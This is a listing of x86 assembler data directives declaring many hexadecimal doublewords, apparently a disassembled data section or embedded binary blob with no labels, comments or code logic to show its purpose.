dd 3C9A5A1Fh, 0FAD2094Ah, 0DF907A3Fh, 13D815C1h, 0CA73C2E4h
dd 11C324DBh, 6E592C61h, 3B45EAEEh, 0D512EBF3h, 87036042h
dd 0AB300294h, 7BA00287h, 41F0D6A4h, 967A117Bh, 2E64B3F6h
dd 969F623Ch, 0B922376Eh, 946DDEA2h, 547D3B83h, 0EF7C2991h
dd 0AB2FCBC4h, 0E94E9899h, 7F753CBEh, 0A308FD0h, 0D834088Fh
dd 0A88EB12Bh, 0DFE602EAh, 14D7BA41h, 0A12C358Bh, 84EF7D13h
dd 47388C58h, 0E5D15552h, 5F4FFC91h, 43731F01h, 6C329554h
dd 537511F3h, 122B58D4h, 5B80362Dh, 6DC6E460h, 11A799D6h
dd 6B060270h, 8E377FE3h, 5091BCh, 261AC121h, 0E8929BFCh
dd 0F1645200h, 849DC05Fh, 6540D25Ch, 7C0CDAFBh, 979DD038h
dd 0A33371AFh, 137120BAh, 0D1D38BAh, 0D55D4802h, 0C43B7B89h
dd 6A1CA3A4h, 4F2D38Ch, 0A136BDC1h, 0A96053D7h, 41C2FDBCh
dd 49099C6Fh, 0D962C3F4h, 0F76C650Ah, 9382DA5Ah, 0DDCE3AE3h
dd 0A9E218ABh, 0B9B33E32h, 0BEFABF09h, 0CF5E32B2h, 2545B39Ch
dd 55AC8Dh, 0C48C71A5h, 124C8C6Dh, 0A668B827h, 0E557C1C1h
dd 430B1949h, 6E4FDABDh, 944562F4h, 72371A4Dh, 12CAA100h
dd 4AEB4B37h, 0C4D03D5Ah, 0EAB08AB6h, 1E15F502h, 962623E5h
dd 0A0A97FB8h, 0BE42986Ah, 0D2A21CC7h, 0BB760C47h, 3F3FC186h
dd 9552A1F3h, 0AC3131B8h, 0B3FDAC62h, 0DA06AB68h, 83EDAB6Ch
dd 0C8B13FA5h, 57299D9Ch, 968DA90h, 0A3D21B7Eh, 71954A45h
dd 6D87D3AAh, 93817DDCh, 0FA5FF22Ch, 0A3CB7344h, 55BE8FC5h
dd 0AE54D51Eh, 17998D8Bh, 0FBCAA931h, 0DB5B6927h, 44B4AE0Bh
dd 0C8BFBDF1h, 0EE1BB170h, 8EE91F4Bh, 1CD5E25Ah, 6ED0F643h
dd 88082D04h, 0A3929ECh, 2AA5CCCDh, 38362C2Eh, 32876292h
dd 0CBD43AE5h, 659775E0h, 5C5D0515h, 0A78F024Ch, 55356E33h
dd 0DA8E674Ah, 0AF7E0DD7h, 1B0FF160h, 0C6CB7B6Ch, 0A606E7FDh
dd 0B1033E74h, 479E7083h, 627AAFDAh, 0DC56EBAh, 1EB6254Ch
dd 62392288h, 359A1A37h, 0B4CD4263h, 62C07726h, 475D092Ah
dd 94D55B69h, 0CD9DBED1h, 0D7397964h, 276C144Fh, 17E6374Ah
dd 0CFE95DB8h, 0E5AB64A7h, 0ABDB08C5h, 3E43553Dh, 4BEA5C5Bh
dd 95957BEh, 0F6D6572Ch, 744F6F97h, 5D1D16E8h, 0F3BE0CBBh
dd 0F471F976h, 8EDAFCBBh, 0A81FA344h, 0C7F57FBFh, 0B8CE9CDh
dd 0F2CFBCEh, 0EA979797h, 0CA384041h, 3EAA409Bh, 0CBE1AF55h
dd 40C05E11h, 0ADDD57AAh, 0D4DEA10Eh, 0DC19277Dh, 3A6DB10Dh
dd 51AA7C41h, 36ED7141h, 397F6A24h, 6EAB9CD9h, 391053Ch
dd 0B25C1873h, 3540AF8Ch, 151636CCh, 0D08FFEF3h, 1E4CF813h
dd 4D14FB7Fh, 78D92553h, 0CCC30E21h, 0CD85422Fh, 4922D056h
dd 87A2F49Ah, 0F5170493h, 0BFA61852h, 82BF895Fh, 8B7E9BC5h
dd 236CE164h, 0E69A2BFBh, 0EF3D5400h, 1F743BF9h, 0C03B6954h
dd 0CD449285h, 29DE7FDFh, 0CC829D0Bh, 0B34B71FDh, 2CFDFF3Ah
dd 4256B4F3h, 6461918Eh, 7675D6C1h, 4A4F6FB3h, 0A7D19924h
dd 0DEAEF3h, 0B6041E08h, 0FC4A9ACEh, 5A8B6640h, 0DEBAA4B5h
dd 9189E4BEh, 80FF411Ah, 0BE09674h, 8150E398h, 0E8137A8Fh
dd 0CB23DCB5h, 3943ED96h, 0C5FAB2BAh, 6D4138C9h, 0EA7F847h
dd 8A461B47h, 8BE47B0h, 599E2928h, 0F42913E1h, 6260BC52h
dd 0BACCDAB3h, 1E52623Dh, 2D11CC8Ah, 8CA968AEh, 0C46CF663h
dd 0A400ED1Ch, 1BE8A52Ah, 603FDFA7h, 9C6D9F94h, 167C563Ch
dd 0B5C642EFh, 83AD80B7h, 0F8A1E73Fh, 58DA5308h, 0E3040115h
dd 0FD2AFEC1h, 0EFCFE6FFh, 9D22DAC0h, 0B4BF37E6h, 81B6CDD9h
dd 5EFED3EDh, 0B92ED44Ah, 7A7EA3C9h, 6A2C68B5h, 0AAAC92Dh
dd 9CEAD802h, 0A4AB877Dh, 0F8D618C5h, 7D9C577Dh, 0AA47D80Fh
dd 0D726C4DFh, 316DBAB1h, 85F37B37h, 58D01B8Ah, 6F777B2Fh
dd 3C1555D2h, 5C6D8EFCh, 0FA42A82h, 0E8DC0F16h, 0C680A8E1h
dd 379FDB6h, 4AF3C35Fh, 0F2D56214h, 0A042CE4Dh, 0BA1CB952h
dd 65A827B1h, 7C43AFA1h, 2709533Ah, 0DC54A6CFh, 0B9F005D3h
dd 0F97BBB25h, 0C9620929h, 0AE64AC1Ch, 0D966DDDFh, 32BC423Bh
dd 61E1ECFFh, 0F5A4041h, 0D6DBBE3Fh, 0BE32212Bh, 5AC7AC7Eh
dd 60EA6E0Eh, 46217B55h, 4EEB5E27h, 573A5952h, 0E2B4033Ah
dd 0ADAD0050h, 0AE1D5E1Eh, 88F9421Fh, 0BF35463Bh, 0A367196Dh
dd 0CCBD9197h, 2E574130h, 82BA29B6h, 9B1E1587h, 0D184D03Bh
dd 0CDFBA8AAh, 30573E0Dh, 0BCD99A8Bh, 326E291Bh, 5DC40C57h
dd 621518B3h, 3E771031h, 0E8A13B27h, 3BD01A69h, 1B4E35A2h
dd 0EC602E81h, 844F2936h, 2074685Fh, 54E40B9Ah, 838B4B02h
dd 20DC8F2h, 5393BB67h, 0A3EF5F64h, 53F18A8h, 0A786D568h
dd 9A20FB4Dh, 0DA3A3DB4h, 565E2825h, 59C6313h, 0A75AEB20h
dd 0B5F746DEh, 351FC4F7h, 4889D0F1h, 5C5301C6h, 6CE09D48h
dd 0BDB06961h, 0A3F2B11Bh, 1BD721D2h, 41370DE5h, 530068CFh
dd 84B8ABAh, 1DBACE88h, 0E4E28626h, 0AEB681C2h, 0CE88F677h
dd 0C9D11967h, 183518C6h, 7A1EEDDEh, 0E13B6AFDh, 0B0BE50AAh
dd 0AEA28231h, 447890A1h, 7D100DEEh, 506000D7h, 0D7E7E14h
dd 688E4781h, 533A63FEh, 0B55FBE0Eh, 39713823h, 16072A71h
dd 69A72774h, 97522ACCh, 0D46C8645h, 4EF39C4h, 0DEB34F20h
dd 75CDB4D0h, 0B0FC3452h, 0C754E3h, 0FCBAB199h, 0A7DB25B7h
dd 0CE6F0C2Ch, 0B4988D32h, 3EE80BF7h, 3BC4B343h, 27BF4AFAh
dd 88E7D08Ah, 1602C60Eh, 5E80A488h, 65E42460h, 6626CCE7h
dd 4D49AFE1h, 4165854Fh, 2052D476h, 55034C8Eh, 0F1918097h
dd 160CB7D9h, 0E5013FC1h, 144B9CA4h, 0A431AA61h, 0D65CB158h
dd 3CE8381h, 3BCBE787h, 0B90B8965h, 0FC861888h, 33CE9544h
dd 0C6A73097h, 664303CDh, 3D137F23h, 0DB2840F7h, 0F306F6C8h
dd 0D31F6A3Bh, 91A4959Ch, 0F4781758h, 0DE3C3434h, 876B395Dh
dd 606AE771h, 0D7471800h, 2FF961FBh, 34E0B1C8h, 0CD5D0618h
dd 33A4A7DDh, 7A9D13D3h, 31A1D98Dh, 0D7950489h, 80791497h
dd 0B60DCF5Dh, 0A85B1A27h
dd 1EE9633Ah, 8731EA74h, 0E9552779h, 4951CD5Bh, 0D709287Fh
dd 5512AA44h, 38579B36h, 4B8C57C4h, 0A3B6B8D8h, 69DA1F26h
dd 7A02048Ah, 0B5923A4Bh, 82EF1DFBh, 97BD4A87h, 4E44A636h
dd 40C2C75Eh, 0D1D6B2A1h, 13E06B62h, 0F5CD36D1h, 0F29950D8h
dd 0E14952ACh, 3BFF5B0Ch, 480F3B90h, 90E2FA89h, 8A5095E9h
dd 0D77D80F5h, 0A833BED4h, 93291225h, 7701D459h, 8D428960h
dd 3C6051D9h, 0B9E362h, 596CF538h, 8C747233h, 8511BCB0h
dd 65C35F83h, 9FF7A9E3h, 1883348Dh, 245154F2h, 935C099Eh
dd 689955ADh, 35318619h, 99D48FAAh, 66437198h, 8A1D3B60h
dd 0EC6DC5F8h, 0DE200D7Ah, 40027F44h, 8C9EB97Bh, 0D9CCDBA7h
dd 403308E7h, 0C0B37718h, 0D0F6E6A3h, 6808940Eh, 42B60B54h
dd 3483CC4Dh, 0AE1222C6h, 0E9B8E26Eh, 6C4946F5h, 0F04EA972h
dd 397D2828h, 1924E0B5h, 0EC680AACh, 30951009h, 0AC6C5E9Eh
dd 0D543A0EEh, 0E1DD835h, 5A9F1D53h, 63E9803Ch, 49490DECh
dd 0CDC3BE99h, 0DF1121B0h, 84340674h, 3F1F110Dh, 0D843E3ECh
dd 0AED53E48h, 900F4CBAh, 0AEEC330Ah, 11A37F1Eh, 80B7C156h
dd 4F5742B9h, 0B5761412h, 9348FB7Ah, 81696A12h, 2D0AAB53h
dd 740D83A5h, 2EA187FEh, 0BC4DC9B4h, 66260D14h, 91CA0239h
dd 3189E643h, 92EE01E5h, 0C993C68Ah, 7710E7A8h, 38188366h
dd 0C8C46C2Ch, 99307CD9h, 7542CC6Ah, 0D6A236B4h, 8C5C150Fh
dd 0D68176ABh, 1438D6E9h, 0ED1C4A3Eh, 0FCE8108Fh, 0E942BF3Ah
dd 3C2FBE2Ch, 97023EC6h, 0D110E9F9h, 426FA476h, 0BB487CDDh
dd 6B56BFBDh, 1433AAAEh, 0E481B25Ah, 0EADCD861h, 3AFC64E2h
dd 7FC9C8A4h, 25A162E2h, 0DA6A4932h, 0DA04EFCDh, 3FB70A99h
dd 4321FBECh, 340FEC53h, 49AC7A09h, 0ECB02E47h, 2DB5991Ah
dd 9201F253h, 66104274h, 34072AF7h, 3A7460C7h, 0BB70D31Bh
dd 0FC3C8B6Ah, 920A1FD5h, 34045352h, 88A49B16h, 4012F556h
dd 849DDC7Dh, 0E37FAD50h, 9FF4F7BEh, 4546141Eh, 0B749B945h
dd 0D487588Dh, 3753DAC1h, 0B0F613E3h, 0AD976CBDh, 0EFA724EEh
dd 0A3AC5064h, 6B7C4197h, 9A111C4Fh, 0F5FAB712h, 432A558Ch
dd 0FFCDF59Ch, 8C5027C5h, 0F681AF99h, 1B2FE56Fh, 9F157F16h
dd 9CF1BF5Ch, 2278E667h, 5BA97E13h, 7F723EDCh, 46C7D2B5h
dd 0AF244A33h, 0BC52E602h, 4D566E30h, 0F6ADC8A6h, 9D0E8C3Dh
dd 31F12119h, 0B7252837h, 0D9B94D14h, 5FEF4A81h, 0C2CAABA9h
dd 0C96AD925h, 0B2805D35h, 0B192083Dh, 75427099h, 4750FC35h
dd 0DBD720C6h, 1EEDB279h, 18714A43h, 2B93D47Bh, 86A243FDh
dd 4757B993h, 72D4D605h, 5FC1A1BFh, 0E3C73E51h, 2822D798h
dd 14FACDDDh, 70E1BB16h, 39AE7A42h, 29CBBD00h, 7F2DC31Ch
dd 0CC9E9194h, 0D2E3D7F7h, 0A4AFD6F2h, 1107154Ch, 0CFF6DC95h
dd 7AED6C94h, 0BBADC561h, 0DD7E7FFDh, 115AE820h, 91CD4616h
dd 6CC9CDD2h, 0CBEB732Bh, 0E344CD12h, 0AAC0839Ah, 0C7A797F0h
dd 56023207h, 0E782B6A0h, 0FCBCABB5h, 15D184B6h, 0AD268098h
dd 372EA89Eh, 0F4ED8F2Ah, 8CFC0A2Dh, 0B563FE21h, 0F5E85BA9h
dd 5FE284Dh, 8147579h, 4B7A65D5h, 0D80F8234h, 7749E716h
dd 0D03347F3h, 62E732D0h, 0F1F86DD8h, 0DB279831h, 0EFFC4412h
dd 82E05273h, 2EFABB6Ch, 8D28F7AFh, 0B3187C67h, 8F81AA9Eh
dd 62F8D247h, 1861103Dh, 1B763B45h, 0C2E59F44h, 0BD6EBEB7h
dd 99106B64h, 0E98F0FD3h, 0A21F9B7Ah, 0A79CE825h, 323B7263h
dd 0B796843Fh, 0F11BFE39h, 33C14E1Ch, 0A0E8800Ch, 0AED3225Eh
dd 0B7EC009Eh, 0F3E79D01h, 2C37DDFBh, 11E18ECFh, 9F0083BAh
dd 0AD2CB219h, 0CB36EB2Dh, 7D8556BEh, 72027375h, 931E1D37h
dd 7F7FC6AEh, 83A96A04h, 0D22B08AFh, 907057C1h, 2E099EE2h
dd 0F2EBCB14h, 0DC8026B0h, 711F8CDCh, 5FEB85C9h, 0D71B59F1h
dd 41024E75h, 6AE81525h, 0A33673A8h, 4C5E6823h, 3686998Fh
dd 1F6CA1A8h, 152647EEh, 7CC3964Fh, 229D8863h, 7C54418Fh
dd 165902DCh, 6EF78125h, 5CCCC680h, 172EBEDCh, 1DBA519Dh
dd 0AED281FFh, 719E26A3h, 0B8A89D4h, 2FCB74Eh, 90B552EBh
dd 59110D3Ch, 3128233Dh, 0D505A641h, 0A475962Fh, 463B1AE5h
dd 0F142B7FFh, 0B5C248DFh, 53F99386h, 321BC720h, 1D3F3D08h
dd 0FC8FB270h, 8B799602h, 391D5690h, 2F652EBAh, 5C5471B9h
dd 0E5571664h, 3D3163B1h, 0D28A04ACh, 4171E92Bh, 694D1B7Ch
dd 0D6019CFh, 0C5DA5906h, 0D513281Eh, 54857D1Ch, 6D4B6A15h
dd 1642D8C0h, 1B1A49F7h, 27E9C379h, 0E567783Ch, 94632BC4h
dd 6B06CDF1h, 8A6E1288h, 9120B66Eh, 0C3351EF5h, 17D5F805h
dd 3201743Dh, 0DB841FD4h, 0D3C6281Fh, 0FF83E71Bh, 0C2323E39h
dd 5F855AF1h, 0E6B9E759h, 29B30CE0h, 9ECF8201h, 978E63C2h
dd 623A89F0h, 2E2997A6h, 58D744EDh, 0A70DAA3Dh, 913A2BA6h
dd 373AE224h, 0A8BC3CF7h, 0DC865B02h, 0C61B0915h, 134DC8ABh
dd 85ED26Bh, 0C53D33EEh, 6169064Ch, 613420FCh, 728030F6h
dd 3D8256C1h, 6E875899h, 0D4EF6C14h, 0CF9EB792h, 50D3C8AAh
dd 3E76322Ch, 3FA86949h, 1BB88F28h, 15C9373Ah, 52BF2104h
dd 0D423C3F1h, 0AC53B2D6h, 743527D1h, 793A03CDh, 3AED2B41h
dd 7F23BF77h, 0D3CEE541h, 10145E68h, 0F0EE79AAh, 0B491655Fh
dd 9C79E69Eh, 0C1C3CC5Dh, 21E50E2Ah, 5BE5EFD7h, 80124C86h
dd 635A2898h, 8B4FA12h, 0C07E5D09h, 346975E7h, 377E58Dh
dd 0B8934D2Dh, 5E76D1B3h, 4FFB684Dh, 0A32E79FDh, 92006BC4h
dd 8F7C34F5h, 0B0DAF181h, 40DF9F6Dh, 13D09879h, 0F08D7737h
dd 12F8A1BBh, 636C8967h, 9C4C37B5h, 0B2EB31AAh, 0A9B8448Ch
dd 37B65571h, 3B57A8F1h, 6EFB7A31h, 3F036C29h, 0B703B9A5h
dd 32341560h, 0F7348Bh, 5C45C1CDh, 0D3B81A8Dh, 68088295h
dd 3A3B2DE4h, 30991E8Eh, 7DCF7D32h, 0A6C9DCBEh, 0CE8212EEh
dd 7C2643h, 0CB336F0Ch, 0D9084550h, 0C2F95727h, 0F263D37Fh
dd 0BF3C7E5Ah, 0F43B0608h, 849AFF33h, 19974D6Dh, 0C052B396h
dd 0BC263DBCh, 0B8F77F16h, 168A9A16h, 926C81FAh, 8300F92Ah
dd 6233E528h, 55BBBC03h, 55CAEA13h, 0E3E1E50Ch, 0D3916934h
dd 148AD836h, 2F4946C5h, 8C65F8D9h, 0D29AC9Dh, 0DEE46BFDh
dd 97F1D659h, 1433DCB0h, 0E32F9F2Eh, 1420D2h, 0AEB6616Ah
dd 6DDAFA41h, 1A06607Bh, 4FB2862Bh, 0C9615C82h, 53840DC2h
dd 7826FFF6h, 0B373C66h, 90E4A3ECh, 0E0ED841Eh, 87DB2527h
dd 1C210220h, 32DCB7CBh, 0A30C207Bh, 99C5236Fh, 7278E5D1h
dd 25D19A02h, 0F07FA034h, 9D9D9B85h, 29F6F2BAh, 4D2F13AAh
dd 31E76419h, 1A8BD898h, 1046A315h, 68102C24h, 7A993E74h
dd 0F00B18C3h, 3DD38A04h, 3CC671DBh, 5E0DBCE7h, 33BBC025h
dd 0F99A7315h, 0A1BB98DDh, 0E456784Dh, 986D186h, 42CAE20Fh
dd 65F84C19h, 98201C99h, 0F5E57101h, 90094453h, 4F1DFAD6h
dd 5B51FF17h, 0C01B4549h, 1D1A5F7h, 0A06BAB0Dh, 57D41447h
dd 0FEC33AF3h, 1E3E8C74h, 110CF930h, 42B0D466h, 0F84B2123h
dd 0EF7A501Bh, 656B2B3h, 8CC16ACEh, 0CFE48709h, 8021DE76h
dd 42E673E1h, 0F04B54E9h, 0C4981806h, 0CF89C145h, 0D44EE621h
dd 26E33647h, 0BB48F9E8h, 81D37C13h, 0AE51DEBDh, 0C4566DF1h
dd 4EF15907h, 5974EF5Ch, 756AF86h, 9095C681h, 0BD73E13Eh
dd 0E8C9A238h, 0EC6DA0F1h, 0B35B5FAEh, 0BB816DAAh, 752E20B8h
dd 0B2E965A6h, 234ECD3h
dd 0EB0D2608h, 5582895h, 6281DFB8h, 409CA64Ch, 0D8F51EDh
dd 3F4B0CD8h, 0F6F235B3h, 0DB1F5631h, 9AAA4BDh, 0CD3B545Ah
dd 0E4C02653h, 0C2430123h, 0EFCDFDBh, 0DC27FB9Ch, 2786BA9Ah
dd 0A3F5F46Ah, 467970AEh, 0A1544533h, 1323F368h, 285AF6C8h
dd 0FAC799FDh, 198AED5Fh, 2F18C536h, 0A7232FBCh, 0E90D1E6h
dd 3AF26D31h, 0F9673315h, 4654CDA1h, 0BBFCAFB3h, 0A29DA522h
dd 613A7019h, 31BFC4B5h, 3B732D42h, 9C742EC2h, 35365A35h
dd 122D9489h, 0F229A281h, 0B50F078Dh, 0DD6D952Ch, 5D788112h
dd 3FE0B67Bh, 619AB74Dh, 0A953DEE0h, 1798F82Bh, 377952F3h
dd 0A2A4191Eh, 0C728FF30h, 38A4F93Bh, 7768C825h, 0FF6124Fh
dd 1B53C85Eh, 0D9E0C377h, 2CB85383h, 0F3DDE5ABh, 22E2FF51h
dd 2514A709h, 25000A6Bh, 181787D5h, 5F2B9F08h, 3E3D25FEh
dd 445956D6h, 0D8E56A2Bh, 57D5833h, 34722059h, 0A736ECDAh
dd 0A56AD728h, 73877FC5h, 398701EAh, 0CAB44AADh, 92525CF0h
dd 0FF8F042Eh, 489181A7h, 78B4D529h, 0A6EFFBF6h, 3EB390Bh
dd 0BD241DEFh, 0F08A140Bh, 3838704Fh, 0E30F1D06h, 7BF0857Ah
dd 8E816679h, 64AD69FAh, 0DDF62C8Bh, 5936BE98h, 780D742Eh
dd 105219ADh, 91364FB8h, 8DA1CC86h, 0A52D0B0h, 88C00C05h
dd 0D7F0633Ch, 0EB70B995h, 302072BCh, 65689848h, 0FC8B1D0Eh
dd 35711D29h, 8A02D88Ah, 0CA27909Ch, 28D17365h, 0BAC71987h
dd 0FA7949F7h, 0DCB87352h, 883D9566h, 0CB6363A8h, 6B96C648h
dd 0B691840Fh, 0CB22B6Ah, 6D190116h, 1C94C62Ah, 0F7A658F1h
dd 0D7B3C189h, 93D5D60Ah, 0EF03EB2Fh, 9857473Fh, 4E4B6EA1h
dd 32675A11h, 0B144B22Bh, 0BBFA426Eh, 0DD09C73Bh, 6FD0B8B9h
dd 0BA14BE75h, 0CFB5C957h, 0F4186AABh, 28FDC420h, 0DC61B877h
dd 5EB563B8h, 0A52ED84Eh, 46C86542h, 840F5F4Ch, 0B0E284FFh
dd 0F06A5309h, 0F460F177h, 72FAF4B6h, 43AB15E0h, 0FE71705Ah
dd 4F5CAD6Eh, 7633FAD6h, 8EAC63BBh, 0CA0F7AA9h, 79DA8631h
dd 9A1E88B1h, 6E18EAAh, 86474420h, 7FEC7A8Eh, 22B2859Ch
dd 0DB1A8EDEh, 7B85DC15h, 2AAA1D03h, 628CBEC3h, 0D8D5FB28h
dd 0ECCA64D6h, 0DD4CF6DEh, 6539B2D6h, 0AF3BE2B5h, 4874C84Ah
dd 50DED2CEh, 2F0906FFh, 8786C31Bh, 1145ACD3h, 0B317D960h
dd 427A7896h, 348AD451h, 2A89C484h, 0BB32448Bh, 103BDADh
dd 0D0866F82h, 89EFE01Fh, 0BC7C3A40h, 0D82A64DDh, 180AB478h
dd 0B05999Ch, 86D3CDF2h, 0A907AE9h, 0BB6EF241h, 7E04E852h
dd 79B308AAh, 4F78AC68h, 1ED22CBCh, 11B9A541h, 0B857E1B5h
dd 0AEB7B892h, 368E30A9h, 0E09C71A9h, 3C1A0D3Ah, 0D1300676h
dd 8C24C615h, 4E03088Bh, 520E2EE4h, 5ADE54DCh, 1A63248Ah
dd 8547A68Ah, 0B7E19D8Dh, 1D9F08C5h, 7FD11FA8h, 0E48F28A1h
dd 254354A1h, 0A3206FEAh, 91DB9BBDh, 1DD17528h, 2F112D35h
dd 9089EB8Bh, 2ABC1CD5h, 0C042D38Fh, 0F151139Fh, 9CA76C74h
dd 0C6639A35h, 44951D9Bh, 1274D625h, 5C0E71E5h, 384E8EC0h
dd 0C612A1C2h, 2F352AD5h, 0BF2211F6h, 422742F9h, 0C3A9E4CBh
dd 0D2F2F2DBh, 3D11987Ah, 658D4293h, 0EAA63EF7h, 0B659FD7Fh
dd 192CFE8Fh, 7130566h, 0C1E28D95h, 3D94C925h, 91CDD587h
dd 9AFCE4CDh, 266BFDF7h, 1D6ED8F0h, 0D1689ACh, 4EDB13EDh
dd 76A172F2h, 0D32A2882h, 0EBA0800Fh, 7798973Bh, 12EB960Eh
dd 686263BFh, 11567D86h, 339EB49Eh, 8D87013Dh, 591A9089h
dd 91EC45B3h, 518A0EA2h, 34A61842h, 0B55EBF06h, 44D9899h
dd 0F8B6AFB6h, 5215A74Ch, 0F6EF81D2h, 57A7C90Bh, 823B5123h
dd 0C47F005Dh, 2C2B340h, 88DBE25h, 7D856B99h, 0DE8183F7h
dd 631A8339h, 5385C3F5h, 67DDF1B5h, 6ACED251h, 586A2C7h
dd 7C2FB8D6h, 19C3F694h, 75AC063Bh, 2A8CD8FFh, 82F7DBA6h
dd 2FB623F9h, 0B586ECCAh, 0E11BF9ADh, 0C59052C6h, 4ECCCD58h
dd 0DDFBB956h, 9495F00Eh, 37521C5Fh, 6DA4F204h, 0BFBFA5F2h
dd 136A742h, 0A4327F21h, 6FEB9C50h, 0E7DD6B4Dh, 6584E42Ah
dd 0D5CD131Fh, 3AFEC4F0h, 0A39A2936h, 0AA79FBD1h, 0B48BDBCAh
dd 0E90B6542h, 8EDE2067h, 0C6B67C0Ch, 0DA5529C9h, 0B98CE8B0h
dd 6CACFCFFh, 21CDE1EEh, 7FFBF1D4h, 0EEF7789Ch, 6DB92867h
dd 656900FEh, 0BD7D03FAh, 1DB0A0E1h, 4E897938h, 9ED8407Eh
dd 0E0D6010Dh, 46263D59h, 0C6DECD27h, 4D4CD4A5h, 0A6162C39h
dd 787B5B43h, 4EFFBA8Fh, 0FF725700h, 0E663BEA7h, 3E3701E1h
dd 8B3D38BCh, 49E7741h, 0BE177BE3h, 339ECCE0h, 0EB1A9DFCh
dd 39A0956Fh, 6C227AFFh, 0F2D99D01h, 6F72D49Eh, 0B7249888h
dd 266A3187h, 40509FD4h, 64D033F7h, 180895A8h, 68F978F2h
dd 0F7D617F9h, 0DE382B34h, 0A6A8549Dh, 0D71A955Ah, 378F88F0h
dd 0BC532412h, 0E48840E7h, 0ED8472Fh, 0B2D4F0C6h, 1C89B260h
dd 0F525A71Ah, 59F2EFC7h, 0B9988372h, 73242502h, 0BAA7AEAAh
dd 0FDDD6CF6h, 7EC0885Dh, 4B67B3EEh, 90923B08h, 6AA40DC2h
dd 0B4B822E2h, 6F9B8E92h, 0AF137A3Bh, 3F1F1FDFh, 13EE7C6Fh
dd 0D9DE5740h, 7C7B22A7h, 0F1E2D3D7h, 1D42423Ch, 0A7658EEh
dd 0AF11D560h, 4124CBE3h, 0D918A9F3h, 0C087DF1h, 0DAC6F8F1h
dd 4419560Dh, 0EA8DBDDCh, 5DD861C0h, 7480F839h, 0CBB1D5C9h
dd 17D9C75Fh, 0AD298041h, 223396C3h, 0F78ADE01h, 64093DB0h
dd 6ED5D9FAh, 0E5A258F6h, 0FBA498A7h, 2F5D4540h, 0B7AE769Fh
dd 430031A8h, 27C75A0Ch, 784611CBh, 15003C31h, 0FF37F814h
dd 0AD7FB3C9h, 25F51372h, 0D5BABDAh, 972BBE5Dh, 19C1944h
dd 3397B9D0h, 16DA6517h, 0B0AE34D7h, 27A4E5D8h, 9DDA1FC9h
dd 1FC24428h, 859AE68Eh, 69B11D92h, 1E39A5B9h, 4A143A97h
dd 380052B0h, 1F876108h, 47A3D8F3h, 5499D49Ch, 2BC9EE92h
dd 3747733h, 20A8A49Eh, 0FE6DC90Fh, 0D634A2F6h, 20860537h
dd 58400105h, 0CCCB2557h, 12AD67F7h, 0B8ACEB4Dh, 181116B8h
dd 38E8FF8Eh, 83CC65A3h, 0B5DC91BCh, 0A4C583F9h, 6DE05FD3h
dd 36FAAAD5h, 0EDBCE96Dh, 3B17C15Eh, 1B85D324h, 2163E7E6h
dd 85E3FD8Ch, 0C0E397DFh, 6871AA7Eh, 1E52E6EEh, 29D087AFh
dd 8E89DA46h, 7D91CE6Bh, 584F45BAh, 5411D079h, 347539C7h
dd 3CB85DB1h, 0A172D51Bh, 9ACBB381h, 0D560D6Ah, 0FC6343FFh
dd 2A035040h, 9F30430Bh, 6E22EB17h, 4225D2AAh, 0D90417E0h
dd 3E0F6479h, 0CCF7B518h, 0F08CD8C3h, 595129BBh, 7DA4F49Fh
dd 425CAA0Dh, 0F7BDD350h, 0A962E95Ah, 46335BAh, 49C3608Ch
dd 15F9F346h, 0F10D8692h, 1CEDBC5Eh, 0EA1E19B7h, 0C636CF3Ah
dd 0FA1B8180h, 0DBB84794h, 0CB319C04h, 1064734Ch, 9CE8EFB6h
dd 23EE0B1Eh, 19B4ED3Eh, 0E1CCF8CEh, 0F6E868DAh, 7B20DD10h
dd 991400EFh, 0B77072AAh, 0C2089668h, 9C7AAF38h, 1C7BC5C5h
dd 31E0796Ch, 5456D7ADh, 0EFEF6B2Ah, 0D24CBC14h, 45EFEBB3h
dd 99109F7Fh, 84F6E75Fh, 5CE8B1C9h, 556C6B8Ah, 0B99941ADh
dd 81E5CACBh, 0E277B65Eh, 0D933E96Fh, 3940EFh, 0E2DB3B88h
dd 0E504304Ch, 0DCB83236h, 2C0C5B49h, 5DDC64ACh, 18B4AC6Fh
dd 0D6A2EBB2h, 24685C12h, 0F7BAE861h, 0C59C123Fh, 0EB1AC77h
dd 1AF0A16Fh, 0B182EA6Ah, 0DF8E351h, 1889F0F6h, 0D7EE975Bh
dd 4D8EC3D5h, 5DD1F944h, 1BB77424h, 0D617C086h, 9534C9C5h
dd 911C10ADh, 0E71F4F2Fh, 128C477Eh, 0A1FCD789h, 0CEAED5ADh
dd 58929F4Dh, 5D9B296h
dd 630B68FFh, 0CE6FEF05h, 87A26309h, 6C364F62h, 332AFD36h
dd 927B9B5h, 3F99C23Bh, 9307FC29h, 0CA35F438h, 1172FE4Bh
dd 9C1C14BDh, 4A71F645h, 9C574B38h, 431E7A40h, 3917BC2Fh
dd 64119113h, 0AE8F7FBBh, 0D3F33137h, 0F9C96E69h, 714B6F3Ch
dd 0B3CC6008h, 0BFEBD78Ch, 0D646F43Fh, 0CD64A9Ah, 126785C2h
dd 0E7E8BA16h, 31B2C7Eh, 89F0C0E2h, 0C137CC6Dh, 0D491CDEEh
dd 0AD97EEC6h, 3DB44D09h, 0AF9BFB8Ah, 570D6991h, 8C407A6Ah
dd 0E8DD7CA6h, 49ECBF7Ch, 0EC4A84CAh, 0DAC37ACFh, 0C8BD2D9Bh
dd 3B005BB3h, 6933DC3Eh, 5D5D6D9Bh, 0A81C929h, 7C71F1BEh
dd 0EC9DC04Dh, 0DE95E5EDh, 6CE258FFh, 0BC2BA87Ch, 47DD6D3Bh
dd 578C0552h, 111CC2D8h, 0F6F6CEE4h, 10D51D93h, 0A2842E52h
dd 3FAB805Fh, 32C7E79Fh, 0A31C3C99h, 98864C6Dh, 1F7F27Dh
dd 34E1525Ch, 71370DDh, 0A67D7BB7h, 88E2ECAFh, 18DE6DD8h
dd 1C1332CEh, 885A8B9Bh, 1475ED55h, 4CC54565h, 0B575549Ah
dd 58AD9424h, 8D68DED9h, 0A78759D0h, 64237A5Eh, 65853E6Ah
dd 0AE643F51h, 599AF26Dh, 0A7935D87h, 65388727h, 6F619CCAh
dd 85DEBD10h, 7D009357h, 98A98378h, 193018F2h, 43ED7BD9h
dd 2E952DDDh, 65DB6D00h, 4527BC45h, 481F0783h, 6ACE9D38h
dd 0EC3D1EDh, 0A4BC6D9Bh, 8EF78062h, 75A26C87h, 60CE16Fh
dd 9354396h, 8157EDC6h, 7F31842Fh, 0AA0D4C97h, 88672230h
dd 42A43EB3h, 0F697717Ah, 816FBEAEh, 1A6BEF63h, 16CDBEB8h
dd 4589B9BCh, 1FD09044h, 0A0AFB967h, 682D30B6h, 66455E35h
